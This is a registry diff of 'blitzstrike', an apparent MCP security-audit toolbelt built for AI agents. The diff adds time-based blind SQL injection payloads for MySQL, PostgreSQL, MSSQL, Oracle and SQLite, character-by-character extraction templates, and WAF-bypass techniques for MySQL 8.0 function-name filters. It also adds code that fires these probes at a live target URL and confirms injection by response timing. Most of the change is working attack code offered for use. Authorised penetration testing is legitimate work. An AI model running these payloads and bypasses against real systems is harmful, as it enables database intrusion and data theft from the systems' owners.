blitzstrike 2.4.149 → 2.4.151

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,32 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.151] — 2026-10-11
9
+
10
+ ### Added — time-based blind SQLi (per-DBMS, detection + extraction)
11
+
12
+ - `blind_sqli` now returns a correct per-DBMS time oracle + `time_fn`: SLEEP(sec)
13
+ (mysql), pg_sleep(sec) (postgresql), WAITFOR DELAY (mssql, stacked ;IF),
14
+ dbms_pipe.receive_message (oracle, a function — not the dbms_lock.sleep procedure),
15
+ randomblob (sqlite). Fixed the previous MySQL-only IF() syntax that leaked into
16
+ the mssql/oracle extraction templates.
17
+ - `blind_oracle` gained a `time` sink + `time_dbms` option: after arithmetic probes
18
+ flag SQL context, the time probes (TRUE/FALSE delay branch) confirm a blind SQLi
19
+ via a >2s timing differential when the boolean body is identical.
20
+ 547/547 tests.
21
+
22
+ ## [2.4.150] — 2026-10-11
23
+
24
+ ### Fixed — func-paren-split WAF bypass (MySQL 8.0 correctness)
25
+
26
+ - Lab-verified correction: `SUBSTRING/**/(...)` (comment between a function name
27
+ and its paren) does NOT work on MySQL 8.0 — IGNORE_SPACE was removed in 8.0, so
28
+ the parser treats it as a stored-function call. It only works on MySQL ≤5.7.
29
+ - Added the correct MySQL 8.0 function-name-filter bypasses: `sUbStRiNg()` case
30
+ swap + `SUBSTR()` / `MID()` / `SUBSTRING_INDEX()` aliases. Verified against a
31
+ live MySQL 8.0 blind-SQLi lab (boolean oracle, version/db/user/flag extracted).
32
+ 539/539 tests.
33
+
8
34
  ## [2.4.149] — 2026-10-10
9
35
 
10
36
  ### Added — exhaustion checklist tool + English terminology
package/dist/index.js CHANGED
@@ -59810,9 +59810,9 @@ var WAF_BYPASS_GENERIC = [
59810
59810
  {
59811
59811
  category: "func-paren-split",
59812
59812
  techniques: [
59813
- "SUBSTRING/**/(...) — comment between function name and (",
59814
- "SUBSTR/*x*/(...) — comment with content",
59815
- "FUNC/*!50000*/(...) — version-gated inline comment (MySQL)"
59813
+ "SUBSTRING/**/(...) — comment between function name and ( — MySQL ≤5.7 ONLY (IGNORE_SPACE; removed in 8.0)",
59814
+ "SUBSTR/*x*/(...) — comment with content (same ≤5.7 caveat)",
59815
+ "MySQL 8.0 alternative: sUbStRiNg(...) case-swap + SUBSTR()/MID()/SUBSTRING_INDEX() aliases"
59816
59816
  ]
59817
59817
  },
59818
59818
  {
@@ -59889,6 +59889,7 @@ var WAF_BYPASS_DBMS = {
59889
59889
  category: "mysql-specific",
59890
59890
  techniques: [
59891
59891
  "/*!50000...*/ inline comment — MySQL executes, old WAF ignores",
59892
+ "function-name filter (8.0): sUbStRiNg() case-swap + SUBSTR()/MID()/SUBSTRING_INDEX() aliases — comment-between-func-and-paren does NOT work on 8.0",
59892
59893
  "BENCHMARK(10000000,MD5(1)) as SLEEP alternative",
59893
59894
  "backtick obfuscation: SELECT `column` FROM `table`",
59894
59895
  "-- - and # comment terminators",
@@ -59961,13 +59962,41 @@ function listWafBypassDbms() {
59961
59962
  // src/blind-sqli.ts
59962
59963
  var WAF_BYPASS = WAF_BYPASS_FLAT;
59963
59964
  function oracleConfirm(dbms) {
59964
- const time = dbms === "mssql" ? "WAITFOR DELAY '0:0:5'" : dbms === "postgresql" ? "pg_sleep(5)" : dbms === "oracle" ? "dbms_lock.sleep(5)" : dbms === "sqlite" ? "randomblob(500000000)" : "SLEEP(5)";
59965
+ const time = {
59966
+ mysql: {
59967
+ true_: `' AND IF(1=1,SLEEP(5),0)-- -`,
59968
+ false_: `' AND IF(1=2,SLEEP(5),0)-- -`,
59969
+ fn: "SLEEP(sec)"
59970
+ },
59971
+ postgresql: {
59972
+ true_: `' OR (SELECT 1 FROM pg_sleep(5)) IS NOT NULL--`,
59973
+ false_: `' OR (SELECT 1 FROM pg_sleep(0)) IS NOT NULL--`,
59974
+ fn: "pg_sleep(sec)"
59975
+ },
59976
+ mssql: {
59977
+ true_: `'; IF (1=1) WAITFOR DELAY '0:0:5'--`,
59978
+ false_: `'; IF (1=2) WAITFOR DELAY '0:0:5'--`,
59979
+ fn: "WAITFOR DELAY '0:0:sec' (stacked ;IF)"
59980
+ },
59981
+ oracle: {
59982
+ true_: `' OR 1=1 AND dbms_pipe.receive_message('x',5) IS NULL--`,
59983
+ false_: `' OR 1=2 AND dbms_pipe.receive_message('x',5) IS NULL--`,
59984
+ fn: "dbms_pipe.receive_message('x',sec) (needs EXECUTE; dbms_lock.sleep is a procedure)"
59985
+ },
59986
+ sqlite: {
59987
+ true_: `' AND 1=1 AND randomblob(500000000)--`,
59988
+ false_: `' AND 1=2 AND randomblob(500000000)--`,
59989
+ fn: "randomblob(sec*100000000)"
59990
+ }
59991
+ };
59992
+ const t = time[dbms];
59965
59993
  return {
59966
59994
  boolean_true: `' AND 1=1-- -`,
59967
59995
  boolean_false: `' AND 1=2-- -`,
59968
- time_true: `' AND IF(1=1,${time},0)-- -`,
59969
- time_false: `' AND IF(1=2,${time},0)-- -`,
59970
- note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below."
59996
+ time_true: t.true_,
59997
+ time_false: t.false_,
59998
+ time_fn: t.fn,
59999
+ note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below. Use the boolean oracle when the body differs; fall back to the time oracle when the body is IDENTICAL (only timing differs)."
59971
60000
  };
59972
60001
  }
59973
60002
  function playbook(dbms) {
@@ -60041,7 +60070,7 @@ function playbook(dbms) {
60041
60070
  oracle: oracleConfirm(dbms),
60042
60071
  extraction: {
60043
60072
  boolean: `' AND SUBSTRING(({query}),{pos},1)='{char}'--`,
60044
- time: `' AND IF(SUBSTRING(({query}),{pos},1)='{char}',1,0)=1 WAITFOR DELAY '0:0:{sec}'--`,
60073
+ time: `'; IF (SUBSTRING(({query}),{pos},1)='{char}') WAITFOR DELAY '0:0:{sec}'--`,
60045
60074
  method: "binary-search the charset. @@version → DB_NAME() → SYSTEM_USER → tables → columns → data."
60046
60075
  },
60047
60076
  metadata: {
@@ -60065,7 +60094,7 @@ function playbook(dbms) {
60065
60094
  oracle: oracleConfirm(dbms),
60066
60095
  extraction: {
60067
60096
  boolean: `' AND SUBSTR(({query}),{pos},1)='{char}'--`,
60068
- time: `' AND CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_lock.sleep({sec}) ELSE dbms_lock.sleep(0) END--`,
60097
+ time: `' AND (SELECT CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_pipe.receive_message('a',{sec}) END FROM dual) IS NOT NULL--`,
60069
60098
  method: "binary-search the charset. banner → user → tables → columns → data (Oracle has no stacked info_schema; use all_tables/all_tab_columns)."
60070
60099
  },
60071
60100
  metadata: {
@@ -62299,6 +62328,15 @@ function sstiProbes(value) {
62299
62328
  function xssProbe(value, marker) {
62300
62329
  return { sink: "xss", name: "marker", payload: `${value}${marker}` };
62301
62330
  }
62331
+ function timeProbes(dbms, value) {
62332
+ const p = blindSqli(dbms);
62333
+ if (!p)
62334
+ return [];
62335
+ return [
62336
+ { sink: "time", name: "time_true", payload: `${value}${p.oracle.time_true}` },
62337
+ { sink: "time", name: "time_false", payload: `${value}${p.oracle.time_false}` }
62338
+ ];
62339
+ }
62302
62340
  function classifyBlindProbe(input) {
62303
62341
  const same = input.bodyHash === input.baselineHash;
62304
62342
  let signal = false;
@@ -62321,6 +62359,7 @@ function classifyBlindProbe(input) {
62321
62359
  async function blindOracle(baseUrl, param, value, opts = {}) {
62322
62360
  const base = baseUrl.replace(/\/+$/, "");
62323
62361
  const sinks = opts.sinks ?? ["sql", "ssti", "xss"];
62362
+ const timeDbms = opts.timeDbms ?? "mysql";
62324
62363
  const marker = `zz${Math.random().toString(36).slice(2, 10)}zz`;
62325
62364
  const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike oracle probe)" };
62326
62365
  const timeoutMs = opts.timeoutMs ?? 8000;
@@ -62344,6 +62383,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62344
62383
  probes.push(...sstiProbes(value));
62345
62384
  if (sinks.includes("xss"))
62346
62385
  probes.push(xssProbe(value, marker));
62386
+ if (sinks.includes("time"))
62387
+ probes.push(...timeProbes(timeDbms, value));
62347
62388
  const results = [];
62348
62389
  for (const p of probes) {
62349
62390
  const t0 = Date.now();
@@ -62363,6 +62404,16 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62363
62404
  body,
62364
62405
  marker
62365
62406
  });
62407
+ let signal = cls.signal;
62408
+ let reason = cls.reason;
62409
+ if (p.sink === "time") {
62410
+ if (p.name === "time_true" && timing > 2000) {
62411
+ signal = true;
62412
+ reason = "time-based TRUE branch delayed the response (delay primitive fired) — blind SQLi confirmed via timing.";
62413
+ } else if (p.name === "time_false") {
62414
+ reason = timing < 2000 ? "FALSE branch returned instantly — the delay is conditional (clean time oracle)." : "FALSE branch also delayed — timing is not conditional (likely not a time oracle).";
62415
+ }
62416
+ }
62366
62417
  results.push({
62367
62418
  sink: p.sink,
62368
62419
  name: p.name,
@@ -62372,8 +62423,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62372
62423
  timing_ms: timing,
62373
62424
  body_hash: bodyHash.slice(0, 12),
62374
62425
  same_as_baseline: cls.same_as_baseline,
62375
- signal: cls.signal,
62376
- reason: cls.reason
62426
+ signal,
62427
+ reason
62377
62428
  });
62378
62429
  } catch {
62379
62430
  results.push({ sink: p.sink, name: p.name, payload: p.payload, status: 0, size: 0, timing_ms: 0, body_hash: "", same_as_baseline: false, signal: false, reason: "fetch error/timeout" });
@@ -65062,16 +65113,17 @@ ${statusLine}` : statusLine },
65062
65113
  base_url: string2().describe("Target base URL"),
65063
65114
  param: string2().describe("Parameter name to probe (e.g. id)"),
65064
65115
  value: string2().describe("Baseline value for the parameter (e.g. 1)"),
65065
- sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss'])")
65116
+ sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss']); add 'time' for time-based blind detection (after SQL context is already flagged)"),
65117
+ time_dbms: string2().optional().describe("DBMS for the time-based delay primitive (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
65066
65118
  }
65067
- }, async ({ base_url, param, value, sinks }) => {
65119
+ }, async ({ base_url, param, value, sinks, time_dbms }) => {
65068
65120
  let s;
65069
65121
  try {
65070
65122
  s = sinks ? JSON.parse(sinks) : undefined;
65071
65123
  } catch {
65072
65124
  return { content: [{ type: "text", text: JSON.stringify({ error: "invalid sinks JSON" }) }] };
65073
65125
  }
65074
- return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s })) }] };
65126
+ return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s, timeDbms: time_dbms })) }] };
65075
65127
  });
65076
65128
  server.registerTool("oob_start", {
65077
65129
  title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.149",
3
+ "version": "2.4.151",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {